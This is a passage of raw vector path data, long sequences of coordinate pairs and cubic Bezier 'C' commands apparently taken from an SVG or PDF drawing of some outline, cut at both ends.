92697.33 130593.00 92729.67 130593.00 92762.00C130582.33 92772.66 130571.67 92783.34 130561.00 92794.00C130550.33 92794.00 130539.67 92794.00 130529.00 92794.00C130518.33 92815.33 130507.67 92836.67 130497.00 92858.00C130486.31 92868.79 130475.41 92879.38 130464.85 92890.30C130454.23 92911.87 130443.62 92933.43 130433.00 92955.00C130421.98 92965.79 130410.74 92976.38 130399.85 92987.30C130389.16 93008.91 130378.08 93030.36 130367.64 93052.07C130357.09 93084.05 130346.55 93116.02 130336.00 93148.00C130143.00 92933.67 129950.00 92719.33 129757.00 92505.00C129757.00 92494.00 129757.00 92483.00 129757.00 92472.00C129725.00 92450.67 129693.00 92429.33 129661.00 92408.00C129628.67 92418.67 129596.33 92429.33 129564.00 92440.00C129532.00 92429.33 129500.00 92418.67 129468.00 92408.00C129457.33 92418.66 129446.67 92429.34 129436.00 92440.00C129414.67 92440.00 129393.33 92440.00 129372.00 92440.00C129361.00 92429.33 129350.00 92418.67 129339.00 92408.00C129339.00 92397.33 129339.00 92386.67 129339.00 92376.00C129328.33 92386.66 129317.67 92397.34 129307.00 92408.00C129296.33 92408.00 129285.67 92408.00 129275.00 92408.00C129275.00 92386.67 129275.00 92365.33 129275.00 92344.00C129264.33 92333.34 129253.67 92322.66 129243.00 92312.00C129232.33 92312.00 129221.67 92312.00 129211.00 92312.00C129211.00 92322.67 129211.00 92333.33 129211.00 92344.00C129211.00 92333.33 129211.00 92322.67 129211.00 92312.00C129189.33 92312.00 129167.67 92312.00 129146.00 92312.00C129135.33 92301.00 129124.67 92290.00 129114.00 92279.00C129103.33 92311.33 129092.67 92343.67 129082.00 92376.00C129060.67 92376.00 129039.33 92376.00 129018.00 92376.00C129007.33 92386.66 128996.67 92397.34 128986.00 92408.00C128975.00 92397.33 128964.00 92386.67 128953.00 92376.00C128953.00 92365.33 128953.00 92354.67 128953.00 92344.00C128942.33 92333.34 128931.67 92322.66 128921.00 92312.00C128910.33 92279.67 128899.67 92247.33 128889.00 92215.00C128867.67 92215.00 128846.33 92215.00 128825.00 92215.00C128792.67 92225.67 128760.33 92236.33 128728.00 92247.00C128717.33 92225.67 128706.67 92204.33 128696.00 92183.00C128685.33 92193.66 128674.67 92204.34 128664.00 92215.00C128664.00 92204.33 128664.00 92193.67 128664.00 92183.00C128674.67 92172.34 128685.33 92161.66 128696.00 92151.00C128685.33 92140.34 128674.67 92129.66 128664.00 92119.00C128632.00 92119.00 128600.00 92119.00 128568.00 92119.00C128568.00 92086.67 128568.00 92054.33 128568.00 92022.00C128557.33 92032.66 128546.67 92043.34 128536.00 92054.00C128536.00 92043.33 128536.00 92032.67 128536.00 92022.00C128514.33 92032.67 128492.67 92043.33 128471.00 92054.00C128471.00 92043.33 128471.00 92032.67 128471.00 92022.00C128460.33 92032.66 128449.67 92043.34 128439.00 92054.00C128449.67 92097.00 128460.33 92140.00 128471.00 92183.00C128460.33 92183.00 128449.67 92183.00 128439.00 92183.00C128439.00 92215.00 128439.00 92247.00 128439.00 92279.00C128417.67 92279.00 128396.33 92279.00 128375.00 92279.00C128364.33 92290.00 128353.67 92301.00 128343.00 92312.00C128332.00 92301.00 128321.00 92290.00 128310.00 92279.00C128299.33 92290.00 128288.67 92301.00 128278.00 92312.00C128267.33 92301.00 128256.67 92290.00 128246.00 92279.00C128246.00 92290.00 128246.00 92301.00 128246.00 92312.00C128214.00 92322.67 128182.00 92333.33 128150.00 92344.00C128139.00 92354.67 128128.00 92365.33 128117.00 92376.00C128106.33 92365.34 128095.67 92354.66 128085.00 92344.00C128085.00 92354.67 128085.00 92365.33 128085.00 92376.00C128074.33 92365.34 128063.67 92354.66 128053.00 92344.00C128042.33 92354.66 128031.67 92365.34 128021.00 92376.00C128021.00 92365.33 128021.00 92354.67 128021.00 92344.00C128042.33 92311.66 128063.67 92279.34 128085.00 92247.00C128085.00 92193.67 128085.00 92140.33 128085.00 92087.00C128074.33 92087.00 128063.67 92087.00 128053.00 92087.00C128042.33 92076.00 128031.67 92065.00 128021.00 92054.00C128021.00 92043.33 128021.00 92032.67 128021.00 92022.00C128042.33 92000.66 128063.67 91979.34 128085.00 91958.00C128074.33 91936.67 128063.67 91915.33 128053.00 91894.00C128053.00 91851.00 128053.00 91808.00 128053.00 91765.00C128063.67 91754.34 128074.33 91743.66 128085.00 91733.00C128085.00 91711.67 128085.00 91690.33 128085.00 91669.00C128095.67 91658.00 128106.33 91647.00 128117.00 91636.00C128117.00 91625.33 128117.00 91614.67 128117.00 91604.00C128106.33 91614.66 128095.67 91625.34 128085.00 91636.00C128074.33 91636.00 128063.67 91636.00 128053.00 91636.00C128031.67 91625.33 128010.33 91614.67 127989.00 91604.00C127978.33 91614.66 127967.67 91625.34 127957.00 91636.00C127946.33 91636.00 127935.67 91636.00 127925.00 91636.00C127914.00 91647.00 127903.00 91658.00 127892.00 91669.00C127892.00 91679.67 127892.00 91690.33 127892.00 91701.00C127870.67 91711.67 127849.33 91722.33 127828.00 91733.00C127817.33 91722.34 127806.67 91711.66 127796.00 91701.00C127785.33 91711.66 127774.67 91722.34 127764.00 91733.00C127753.33 91722.34 127742.67 91711.66 127732.00 91701.00C127721.33 91722.33 127710.67 91743.67 127700.00 91765.00C127689.00 91765.00 127678.00 91765.00 127667.00 91765.00C127667.00 91775.67 127667.00 91786.33 127667.00 91797.00C127656.33 91807.66 127645.67 91818.34 127635.00 91829.00C127613.67 91829.00 127592.33 91829.00 127571.00 91829.00C127571.00 91839.67 127571.00 91850.33 127571.00 91861.00C127560.33 91861.00 127549.67 91861.00 127539.00 91861.00C127528.33 91872.00 127517.67 91883.00 127507.00 91894.00C127507.00 91872.33 127507.00 91850.67 127507.00 91829.00C127507.00 91839.67 127507.00 91850.33 127507.00 91861.00C127485.33 91861.00 127463.67 91861.00 127442.00 91861.00C127442.00 91893.33 127442.00 91925.67 127442.00 91958.00C127410.00 91968.67 127378.00 91979.33 127346.00 91990.00C127356.67 91990.00 127367.33 91990.00 127378.00 91990.00C127367.33 91990.00 127356.67 91990.00 127346.00 91990.00C127356.67 91990.00 127367.33 91990.00 127378.00 91990.00C127378.00 92000.67 127378.00 92011.33 127378.00 92022.00C127356.67 92022.00 127335.33 92022.00 127314.00 92022.00C127314.00 92011.33 127314.00 92000.67 127314.00 91990.00C127271.00 91990.00 127228.00 91990.00 127185.00 91990.00C127195.67 92000.66 127206.33 92011.34 127217.00 92022.00C127206.33 92032.66 127195.67 92043.34 127185.00 92054.00C127195.67 92065.00 127206.33 92076.00 127217.00 92087.00C127206.33 92087.00 127195.67 92087.00 127185.00 92087.00C127174.33 92076.00 127163.67 92065.00 127153.00 92054.00C127142.33 92054.00 127131.67 92054.00 127121.00 92054.00C127110.33 92065.00 127099.67 92076.00 127089.00 92087.00C127078.00 92087.00 127067.00 92087.00 127056.00 92087.00C127056.00 92097.67 127056.00 92108.33 127056.00 92119.00C127045.33 92119.00 127034.67 92119.00 127024.00 92119.00C127013.33 92140.33 127002.67 92161.67 126992.00 92183.00C126992.00 92172.33 126992.00 92161.67 126992.00 92151.00C126981.33 92161.66 126970.67 92172.34 126960.00 92183.00C126938.67 92183.00 126917.33 92183.00 126896.00 92183.00C126874.33 92193.67 126852.67 92204.33 126831.00 92215.00C126820.33 92204.34 126809.67 92193.66 126799.00 92183.00C126788.33 92193.66 126777.67 92204.34 126767.00 92215.00C126767.00 92236.33 126767.00 92257.67 126767.00 92279.00C126756.33 92290.00 126745.67 92301.00 126735.00 92312.00C126724.33 92290.34 126713.67 92268.66 126703.00 92247.00C126681.33 92247.00 126659.67 92247.00 126638.00 92247.00C126638.00 92215.00 126638.00 92183.00 126638.00 92151.00C126649.00 92151.00 126660.00 92151.00 126671.00 92151.00C126660.00 92140.33 126649.00 92129.67 126638.00 92119.00C126638.00 92108.33 126638.00 92097.67 126638.00 92087.00C126649.00 92087.00 126660.00 92087.00 126671.00 92087.00C126649.33 92076.00 126627.67 92065.00 126606.00 92054.00C126606.00 92043.33 126606.00 92032.67 126606.00 92022.00C126595.33 92022.00 126584.67 92022.00 126574.00 92022.00C126574.00 91968.33 126574.00 91914.67 126574.00 91861.00C126563.33 91850.34 126552.67 91839.66 126542.00 91829.00C126552.67 91818.34 126563.33 91807.66 126574.00 91797.00C126574.00 91754.33 126574.00 91711.67 126574.00 91669.00C126584.67 91669.00 126595.33 91669.00 126606.00 91669.00C126595.33 91636.67 126584.67 91604.33 126574.00 91572.00C126574.00 91561.33 126574.00 91550.67 126574.00 91540.00C126563.33 91529.34 126552.67 91518.66 126542.00 91508.00C126542.00 91529.33 126542.00 91550.67 126542.00 91572.00C126531.33 91572.00 126520.67 91572.00 126510.00 91572.00C126499.21 91561.31 126488.62 91550.42 126477.70 91539.85C126456.13 91529.24 126434.57 91518.62 126413.00 91508.00C126391.67 91529.34 126370.33 91550.66 126349.00 91572.00C126349.00 91615.00 126349.00 91658.00 126349.00 91701.00C126338.33 91722.33 126327.67 91743.67 126317.00 91765.00C126317.00 91775.67 126317.00 91786.33 126317.00 91797.00C126274.10 91818.53 126231.11 91839.88 126188.00 91861.00C126188.00 91893.33 126188.00 91925.67 126188.00 91958.00C126198.67 91968.66 126209.33 91979.34 126220.00 91990.00C126209.33 92000.66 126198.67 92011.34 126188.00 92022.00C126188.00 92054.33 126188.00 92086.67 126188.00 92119.00C126177.33 92151.00 126166.67 92183.00 126156.00 92215.00C126166.67 92225.66 126177.33 92236.34 126188.00 92247.00C126188.00 92279.33 126188.00 92311.67 126188.00 92344.00C126166.67 92365.34 126145.33 92386.66 126124.00 92408.00C126102.67 92408.00 126081.33 92408.00 126060.00 92408.00C126027.67 92376.00 125995.33 92344.00 125963.00 92312.00C125973.77 92289.85 125984.98 92267.90 125995.48 92245.62C126006.32 92214.08 126017.16 92182.54 126028.00 92151.00C126028.00 92140.33 126028.00 92129.67 126028.00 92119.00C126017.00 92108.33 126006.00 92097.67 125995.00 92087.00C125984.33 92065.34 125973.67 92043.66 125963.00 92022.00C125973.67 92022.00 125984.33 92022.00 125995.00 92022.00C126016.67 92000.67 126038.33 91979.33 126060.00 91958.00C126060.00 91904.33 126060.00 91850.67 126060.00 91797.00C126070.67 91797.00 126081.33 91797.00 126092.00 91797.00C126081.33 91786.34 126070.67 91775.66 126060.00 91765.00C126070.67 91754.34 126081.33 91743.66 126092.00 91733.00C126070.67 91722.33 126049.33 91711.67 126028.00 91701.00C126028.00 91679.33 126028.00 91657.67 126028.00 91636.00C126017.00 91625.33 126006.00 91614.67 125995.00 91604.00C126006.00 91604.00 126017.00 91604.00 126028.00 91604.00C126028.00 91593.33 126028.00 91582.67 126028.00 91572.00C126038.67 91572.00 126049.33 91572.00 126060.00 91572.00C126060.00 91550.67 126060.00 91529.33 126060.00 91508.00C126070.67 91497.34 126081.33 91486.66 126092.00 91476.00C126081.33 91443.67 126070.67 91411.33 126060.00 91379.00C126038.33 91379.00 126016.67 91379.00 125995.00 91379.00C126006.00 91368.33 126017.00 91357.67 126028.00 91347.00C126017.00 91325.67 126006.00 91304.33 125995.00 91283.00C125995.00 91272.33 125995.00 91261.67 125995.00 91251.00C125984.33 91251.00 125973.67 91251.00 125963.00 91251.00C125963.00 91218.67 125963.00 91186.33 125963.00 91154.00C125952.33 91154.00 125941.67 91154.00 125931.00 91154.00C125920.33 91143.34 125909.67 91132.66 125899.00 91122.00C125877.67 91122.00 125856.33 91122.00 125835.00 91122.00C125824.00 91089.67 125813.00 91057.33 125802.00 91025.00C125802.00 90993.00 125802.00 90961.00 125802.00 90929.00C125770.00 90929.00 125738.00 90929.00 125706.00 90929.00C125706.00 90918.33 125706.00 90907.67 125706.00 90897.00C125695.33 90886.34 125684.67 90875.66 125674.00 90865.00C125663.33 90875.66 125652.67 90886.34 125642.00 90897.00C125631.33 90875.67 125620.67 90854.33 125610.00 90833.00C125599.00 90833.00 125588.00 90833.00 125577.00 90833.00C125577.00 90854.33 125577.00 90875.67 125577.00 90897.00C125566.33 90897.00 125555.67 90897.00 125545.00 90897.00C125545.00 90886.33 125545.00 90875.67 125545.00 90865.00C125523.67 90865.00 125502.33 90865.00 125481.00 90865.00C125481.00 90875.67 125481.00 90886.33 125481.00 90897.00C125470.33 90886.34 125459.67 90875.66 125449.00 90865.00C125438.33 90875.66 125427.67 90886.34 125417.00 90897.00C125406.00 90875.67 125395.00 90854.33 125384.00 90833.00C125373.33 90833.00 125362.67 90833.00 125352.00 90833.00C125352.00 90779.33 125352.00 90725.67 125352.00 90672.00C125341.33 90650.34 125330.67 90628.66 125320.00 90607.00C125330.67 90585.67 125341.33 90564.33 125352.00 90543.00C125341.33 90521.67 125330.67 90500.33 125320.00 90479.00C125309.33 90479.00 125298.67 90479.00 125288.00 90479.00C125277.33 90457.67 125266.67 90436.33 125256.00 90415.00C125245.33 90415.00 125234.67 90415.00 125224.00 90415.00C125202.38 90392.43 125180.36 90370.23 125158.02 90348.37C125137.01 90327.58 125116.01 90306.79 125095.00 90286.00C125095.00 90296.67 125095.00 90307.33 125095.00 90318.00C125084.33 90318.00 125073.67 90318.00 125063.00 90318.00C125063.00 90296.67 125063.00 90275.33 125063.00 90254.00C125052.33 90254.00 125041.67 90254.00 125031.00 90254.00C125020.33 90243.34 125009.67 90232.66 124999.00 90222.00C124988.00 90222.00 124977.00 90222.00 124966.00 90222.00C124966.00 90211.33 124966.00 90200.67 124966.00 90190.00C124955.33 90179.00 124944.67 90168.00 124934.00 90157.00C124934.00 90146.33 124934.00 90135.67 124934.00 90125.00C124923.33 90125.00 124912.67 90125.00 124902.00 90125.00C124891.33 90114.34 124880.67 90103.66 124870.00 90093.00C124870.00 90103.67 124870.00 90114.33 124870.00 90125.00C124859.33 90125.00 124848.67 90125.00 124838.00 90125.00C124827.33 90114.34 124816.67 90103.66 124806.00 90093.00C124816.67 90071.67 124827.33 90050.33 124838.00 90029.00C124827.33 90018.34 124816.67 90007.66 124806.00 89997.00C124806.00 89975.33 124806.00 89953.67 124806.00 89932.00C124784.33 89932.00 124762.67 89932.00 124741.00 89932.00C124730.33 89921.34 124719.67 89910.66 124709.00 89900.00C124698.33 89910.66 124687.67 89921.34 124677.00 89932.00C124687.67 89942.66 124698.33 89953.34 124709.00 89964.00C124698.33 89964.00 124687.67 89964.00 124677.00 89964.00C124666.29 89975.11 124655.46 89986.10 124644.81 89997.28C124494.88 90222.19 124344.94 90447.10 124195.00 90672.00C124184.33 90650.34 124173.67 90628.66 124163.00 90607.00C124130.67 90585.66 124098.33 90564.34 124066.00 90543.00C124055.33 90521.67 124044.67 90500.33 124034.00 90479.00C124012.67 90457.66 123991.33 90436.34 123970.00 90415.00C123959.33 90415.00 123948.67 90415.00 123938.00 90415.00C123916.33 90425.67 123894.67 90436.33 123873.00 90447.00C123862.33 90447.00 123851.67 90447.00 123841.00 90447.00C123841.00 90436.33 123841.00 90425.67 123841.00 90415.00C123798.00 90415.00 123755.00 90415.00 123712.00 90415.00C123701.33 90393.34 123690.67 90371.66 123680.00 90350.00C123680.00 90339.33 123680.00 90328.67 123680.00 90318.00C123690.67 90318.00 123701.33 90318.00 123712.00 90318.00C123701.33 90307.34 123690.67 90296.66 123680.00 90286.00C123701.67 90264.67 123723.33 90243.33 123745.00 90222.00C123745.00 90200.33 123745.00 90178.67 123745.00 90157.00C123755.67 90146.34 123766.33 90135.66 123777.00 90125.00C123744.67 90125.00 123712.33 90125.00 123680.00 90125.00C123658.67 90103.66 123637.33 90082.34 123616.00 90061.00C123605.33 90061.00 123594.67 90061.00 123584.00 90061.00C123562.67 89986.00 123541.33 89911.00 123520.00 89836.00C123487.67 89857.34 123455.33 89878.66 123423.00 89900.00C123412.33 89932.33 123401.67 89964.67 123391.00 89997.00C123380.33 89997.00 123369.67 89997.00 123359.00 89997.00C123337.56 90018.38 123316.24 90039.88 123294.72 90061.18C123262.41 90082.55 123230.01 90103.78 123197.76 90125.24C123187.17 90135.83 123176.59 90146.41 123166.00 90157.00C123166.00 90178.67 123166.00 90200.33 123166.00 90222.00C123144.67 90232.67 123123.33 90243.33 123102.00 90254.00C123091.00 90264.67 123080.00 90275.33 123069.00 90286.00C123058.33 90275.34 123047.67 90264.66 123037.00 90254.00C123015.67 90275.34 122994.33 90296.66 122973.00 90318.00C122973.00 90328.67 122973.00 90339.33 122973.00 90350.00C122951.67 90360.67 122930.33 90371.33 122909.00 90382.00C122909.00 90414.33 122909.00 90446.67 122909.00 90479.00C122898.33 90500.33 122887.67 90521.67 122877.00 90543.00C122877.00 90553.67 122877.00 90564.33 122877.00 90575.00C122866.00 90575.00 122855.00 90575.00 122844.00 90575.00C122833.31 90585.79 122822.41 90596.38 122811.85 90607.30C122790.57 90650.20 122769.28 90693.10 122748.00 90736.00C122748.00 90746.67 122748.00 90757.33 122748.00 90768.00C122758.67 90768.00 122769.33 90768.00 122780.00 90768.00C122780.00 90789.67 122780.00 90811.33 122780.00 90833.00C122769.33 90833.00 122758.67 90833.00 122748.00 90833.00C122715.59 90886.42 122683.25 90939.88 122650.80 90993.27C122618.58 91036.39 122586.67 91079.77 122554.26 91122.74C122533.18 91143.83 122512.09 91164.91 122491.00 91186.00C122458.67 91250.34 122426.33 91314.66 122394.00 91379.00C122394.00 91389.67 122394.00 91400.33 122394.00 91411.00C122415.67 91421.67 122437.33 91432.33 122459.00 91443.00C122459.00 91464.67 122459.00 91486.33 122459.00 91508.00C122438.55 91547.47 122418.24 91587.01 122398.56 91626.88C122395.90 91631.83 122392.08 91636.86 122397.56 91641.30C122418.04 91671.87 122438.52 91702.44 122459.00 91733.00C122448.00 91754.33 122437.00 91775.67 122426.00 91797.00C122437.00 91818.33 122448.00 91839.67 122459.00 91861.00C122448.00 91882.67 122437.00 91904.33 122426.00 91926.00C122437.00 91958.00 122448.00 91990.00 122459.00 92022.00C122459.00 92054.33 122459.00 92086.67 122459.00 92119.00C122416.00 92151.00 122373.00 92183.00 122330.00 92215.00C121954.21 92000.47 121578.56 91785.69 121202.97 91570.80C120731.98 91292.54 120260.99 91014.27 119790.00 90736.00C119779.33 90725.34 119768.67 90714.66 119758.00 90704.00C119746.66 90703.77 119735.21 90704.46 119723.93 90703.65C119692.29 90693.10 119660.64 90682.55 119629.00 90672.00C119607.67 90672.00 119586.33 90672.00 119565.00 90672.00C119522.00 90639.67 119479.00 90607.33 119436.00 90575.00C119425.33 90585.66 119414.67 90596.34 119404.00 90607.00C119382.67 90585.66 119361.33 90564.34 119340.00 90543.00C119318.33 90532.33 119296.67 90521.67 119275.00 90511.00C119243.00 90521.67 119211.00 90532.33 119179.00 90543.00C119168.33 90543.00 119157.67 90543.00 119147.00 90543.00C119136.33 90521.67 119125.67 90500.33 119115.00 90479.00C119082.67 90479.00 119050.33 90479.00 119018.00 90479.00C119007.33 90457.67 118996.67 90436.33 118986.00 90415.00C118943.00 90415.00 118900.00 90415.00 118857.00 90415.00C118846.33 90425.66 118835.67 90436.34 118825.00 90447.00C118803.55 90436.33 118782.18 90425.48 118760.67 90414.92C118717.78 90403.95 118674.89 90392.97 118632.00 90382.00C118621.33 90371.34 118610.67 90360.66 118600.00 90350.00C118578.67 90360.67 118557.33 90371.33 118536.00 90382.00C118525.33 90371.34 118514.67 90360.66 118504.00 90350.00C118493.33 90350.00 118482.67 90350.00 118472.00 90350.00C118472.00 90360.67 118472.00 90371.33 118472.00 90382.00C118450.33 90371.33 118428.67 90360.67 118407.00 90350.00C118407.00 90339.33 118407.00 90328.67 118407.00 90318.00C118396.33 90318.00 118385.67 90318.00 118375.00 90318.00C118364.33 90296.67 118353.67 90275.33 118343.00 90254.00C118343.00 90264.67 118343.00 90275.33 118343.00 90286.00C118321.67 90275.33 118300.33 90264.67 118279.00 90254.00C118279.00 90232.67 118279.00 90211.33 118279.00 90190.00C118268.00 90190.00 118257.00 90190.00 118246.00 90190.00C118246.00 90179.00 118246.00 90168.00 118246.00 90157.00C118235.33 90168.00 118224.67 90179.00 118214.00 90190.00C118214.00 90179.00 118214.00 90168.00 118214.00 90157.00C118192.67 90157.00 118171.33 90157.00 118150.00 90157.00C118150.00 90146.33 118150.00 90135.67 118150.00 90125.00C118128.67 90125.00 118107.33 90125.00 118086.00 90125.00C118096.67 90125.00 118107.33 90125.00 118118.00 90125.00C118096.33 90114.33 118074.67 90103.67 118053.00 90093.00C118053.00 90103.67 118053.00 90114.33 118053.00 90125.00C118042.33 90114.34 118031.67 90103.66 118021.00 90093.00C118010.33 90093.00 117999.67 90093.00 117989.00 90093.00C117989.00 90082.33 117989.00 90071.67 117989.00 90061.00C117978.33 90071.66 117967.67 90082.34 117957.00 90093.00C117957.00 90071.67 117957.00 90050.33 117957.00 90029.00C117946.33 90029.00 117935.67 90029.00 117925.00 90029.00C117925.00 90018.33 117925.00 90007.67 117925.00 89997.00C117914.33 89997.00 117903.67 89997.00 117893.00 89997.00C117893.00 89975.33 117893.00 89953.67 117893.00 89932.00C117882.33 89921.34 117871.67 89910.66 117861.00 89900.00C117871.67 89878.67 117882.33 89857.33 117893.00 89836.00C117903.67 89825.34 117914.33 89814.66 117925.00 89804.00C117914.33 89782.34 117903.67 89760.66 117893.00 89739.00C117914.33 89717.66 117935.67 89696.34 117957.00 89675.00C117946.33 89664.34 117935.67 89653.66 117925.00 89643.00C117935.67 89632.34 117946.33 89621.66 117957.00 89611.00C117946.33 89611.00 117935.67 89611.00 117925.00 89611.00C117946.33 89600.33 117967.67 89589.67 117989.00 89579.00C117989.00 89546.67 117989.00 89514.33 117989.00 89482.00C117967.67 89471.33 117946.33 89460.67 117925.00 89450.00C117935.67 89439.34 117946.33 89428.66 117957.00 89418.00C117957.00 89407.33 117957.00 89396.67 117957.00 89386.00C117946.33 89364.34 117935.67 89342.66 117925.00 89321.00C117935.67 89310.34 117946.33 89299.66 117957.00 89289.00C117957.00 89310.67 117957.00 89332.33 117957.00 89354.00C117957.00 89343.00 117957.00 89332.00 117957.00 89321.00C117967.67 89321.00 117978.33 89321.00 117989.00 89321.00C117999.67 89332.00 118010.33 89343.00 118021.00 89354.00C118021.00 89332.33 118021.00 89310.67 118021.00 89289.00C118031.67 89299.66 118042.33 89310.34 118053.00 89321.00C118064.00 89321.00 118075.00 89321.00 118086.00 89321.00C118075.00 89310.33 118064.00 89299.67 118053.00 89289.00C118064.00 89267.67 118075.00 89246.33 118086.00 89225.00C118086.00 89214.33 118086.00 89203.67 118086.00 89193.00C118096.67 89171.34 118107.33 89149.66 118118.00 89128.00C118118.00 89117.33 118118.00 89106.67 118118.00 89096.00C118128.67 89074.67 118139.33 89053.33 118150.00 89032.00C118160.67 89042.66 118171.33 89053.34 118182.00 89064.00C118192.67 89053.34 118203.33 89042.66 118214.00 89032.00C118203.33 88989.00 118192.67 88946.00 118182.00 88903.00C118192.67 88871.00 118203.33 88839.00 118214.00 88807.00C118224.67 88807.00 118235.33 88807.00 118246.00 88807.00C118246.00 88817.67 118246.00 88828.33 118246.00 88839.00C118257.00 88839.00 118268.00 88839.00 118279.00 88839.00C118311.00 88817.67 118343.00 88796.33 118375.00 88775.00C118375.00 88764.33 118375.00 88753.67 118375.00 88743.00C118396.33 88743.00 118417.67 88743.00 118439.00 88743.00C118417.91 88721.09 118396.61 88699.39 118375.00 88678.00C118375.00 88688.67 118375.00 88699.33 118375.00 88710.00C118364.33 88721.00 118353.67 88732.00 118343.00 88743.00C118343.00 88721.33 118343.00 88699.67 118343.00 88678.00C118321.67 88667.33 118300.33 88656.67 118279.00 88646.00C118268.00 88624.67 118257.00 88603.33 118246.00 88582.00C118267.67 88560.67 118289.33 88539.33 118311.00 88518.00C118311.00 88464.33 118311.00 88410.67 118311.00 88357.00C118321.67 88357.00 118332.33 88357.00 118343.00 88357.00C118353.67 88346.34 118364.33 88335.66 118375.00 88325.00C118375.00 88303.33 118375.00 88281.67 118375.00 88260.00C118385.79 88249.31 118396.38 88238.42 118407.30 88227.85C118428.87 88217.24 118450.43 88206.62 118472.00 88196.00C118482.67 88185.34 118493.33 88174.66 118504.00 88164.00C118504.00 88153.33 118504.00 88142.67 118504.00 88132.00C118525.33 88132.00 118546.67 88132.00 118568.00 88132.00C118568.00 88121.00 118568.00 88110.00 118568.00 88099.00C118578.67 88099.00 118589.33 88099.00 118600.00 88099.00C118600.00 88067.00 118600.00 88035.00 118600.00 88003.00C118621.33 87971.00 118642.67 87939.00 118664.00 87907.00C118621.33 87928.33 118578.67 87949.67 118536.00 87971.00C118536.00 87992.33 118536.00 88013.67 118536.00 88035.00C118525.33 88045.66 118514.67 88056.34 118504.00 88067.00C118493.33 88067.00 118482.67 88067.00 118472.00 88067.00C118461.00 88056.33 118450.00 88045.67 118439.00 88035.00C118439.00 88024.33 118439.00 88013.67 118439.00 88003.00C118428.33 88003.00 118417.67 88003.00 118407.00 88003.00C118407.00 88013.67 118407.00 88024.33 118407.00 88035.00C118428.67 88045.67 118450.33 88056.33 118472.00 88067.00C118472.00 88077.67 118472.00 88088.33 118472.00 88099.00C118450.33 88099.00 118428.67 88099.00 118407.00 88099.00C118385.67 88110.00 118364.33 88121.00 118343.00 88132.00C118332.33 88132.00 118321.67 88132.00 118311.00 88132.00C118332.33 88142.67 118353.67 88153.33 118375.00 88164.00C118343.00 88164.00 118311.00 88164.00 118279.00 88164.00C118268.00 88185.33 118257.00 88206.67 118246.00 88228.00C118214.00 88228.00 118182.00 88228.00 118150.00 88228.00C118139.33 88260.33 118128.67 88292.67 118118.00 88325.00C118075.00 88325.00 118032.00 88325.00 117989.00 88325.00C117989.00 88335.67 117989.00 88346.33 117989.00 88357.00C117946.33 88378.33 117903.67 88399.67 117861.00 88421.00C117850.00 88431.67 117839.00 88442.33 117828.00 88453.00C117828.00 88463.67 117828.00 88474.33 117828.00 88485.00C117839.00 88496.00 117850.00 88507.00 117861.00 88518.00C117861.00 88528.67 117861.00 88539.33 117861.00 88550.00C117839.33 88539.33 117817.67 88528.67 117796.00 88518.00C117785.33 88518.00 117774.67 88518.00 117764.00 88518.00C117774.67 88539.33 117785.33 88560.67 117796.00 88582.00C117785.33 88592.66 117774.67 88603.34 117764.00 88614.00C117742.67 88603.33 117721.33 88592.67 117700.00 88582.00C117700.00 88603.33 117700.00 88624.67 117700.00 88646.00C117667.67 88646.00 117635.33 88646.00 117603.00 88646.00C117614.00 88656.67 117625.00 88667.33 117636.00 88678.00C117625.00 88688.67 117614.00 88699.33 117603.00 88710.00C117603.00 88742.33 117603.00 88774.67 117603.00 88807.00C117581.67 88807.00 117560.33 88807.00 117539.00 88807.00C117517.67 88849.67 117496.33 88892.33 117475.00 88935.00C117485.67 88935.00 117496.33 88935.00 117507.00 88935.00C117496.33 88946.00 117485.67 88957.00 117475.00 88968.00C117453.33 88978.67 117431.67 88989.33 117410.00 89000.00C117399.33 89010.66 117388.67 89021.34 117378.00 89032.00C117388.67 89064.00 117399.33 89096.00 117410.00 89128.00C117399.33 89139.00 117388.67 89150.00 117378.00 89161.00C117356.67 89150.00 117335.33 89139.00 117314.00 89128.00C117292.67 89149.67 117271.33 89171.33 117250.00 89193.00C117260.67 89193.00 117271.33 89193.00 117282.00 89193.00C117282.00 89182.33 117282.00 89171.67 117282.00 89161.00C117292.67 89161.00 117303.33 89161.00 117314.00 89161.00C117314.00 89171.67 117314.00 89182.33 117314.00 89193.00C117303.33 89203.66 117292.67 89214.34 117282.00 89225.00C117292.67 89235.66 117303.33 89246.34 117314.00 89257.00C117303.33 89267.66 117292.67 89278.34 117282.00 89289.00C117292.67 89310.66 117303.33 89332.34 117314.00 89354.00C117303.33 89364.66 117292.67 89375.34 117282.00 89386.00C117239.00 89386.00 117196.00 89386.00 117153.00 89386.00C117153.00 89396.67 117153.00 89407.33 117153.00 89418.00C117131.67 89428.67 117110.33 89439.33 117089.00 89450.00C117089.00 89460.67 117089.00 89471.33 117089.00 89482.00C117110.33 89503.34 117131.67 89524.66 117153.00 89546.00C117142.21 89557.02 117131.63 89568.26 117120.70 89579.15C117099.47 89589.77 117078.23 89600.38 117057.00 89611.00C117057.00 89632.33 117057.00 89653.67 117057.00 89675.00C117078.33 89675.00 117099.67 89675.00 117121.00 89675.00C117110.33 89685.66 117099.67 89696.34 117089.00 89707.00C117089.00 89728.33 117089.00 89749.67 117089.00 89771.00C117078.33 89771.00 117067.67 89771.00 117057.00 89771.00C117046.33 89792.66 117035.67 89814.34 117025.00 89836.00C117035.67 89878.67 117046.33 89921.33 117057.00 89964.00C117046.33 89964.00 117035.67 89964.00 117025.00 89964.00C117014.00 89975.00 117003.00 89986.00 116992.00 89997.00C117003.00 90007.67 117014.00 90018.33 117025.00 90029.00C117013.67 90050.75 117002.71 90072.71 116991.13 90094.31C116970.09 90126.21 116949.04 90158.10 116928.00 90190.00C116928.00 90168.33 116928.00 90146.67 116928.00 90125.00C116917.33 90103.67 116906.67 90082.33 116896.00 90061.00C116874.67 90071.67 116853.33 90082.33 116832.00 90093.00C116778.33 90093.00 116724.67 90093.00 116671.00 90093.00C116617.33 90071.67 116563.67 90050.33 116510.00 90029.00C116510.00 90018.33 116510.00 90007.67 116510.00 89997.00C116542.33 89975.33 116574.67 89953.67 116607.00 89932.00C116607.00 89921.33 116607.00 89910.67 116607.00 89900.00C116564.00 89900.00 116521.00 89900.00 116478.00 89900.00C116467.33 89932.33 116456.67 89964.67 116446.00 89997.00C116435.33 89997.00 116424.67 89997.00 116414.00 89997.00C116403.33 89986.00 116392.67 89975.00 116382.00 89964.00C116382.00 89942.67 116382.00 89921.33 116382.00 89900.00C116403.33 89857.00 116424.67 89814.00 116446.00 89771.00C116413.67 89771.00 116381.33 89771.00 116349.00 89771.00C116360.00 89749.67 116371.00 89728.33 116382.00 89707.00C116382.00 89664.33 116382.00 89621.67 116382.00 89579.00C116360.33 89557.34 116338.67 89535.66 116317.00 89514.00C116327.67 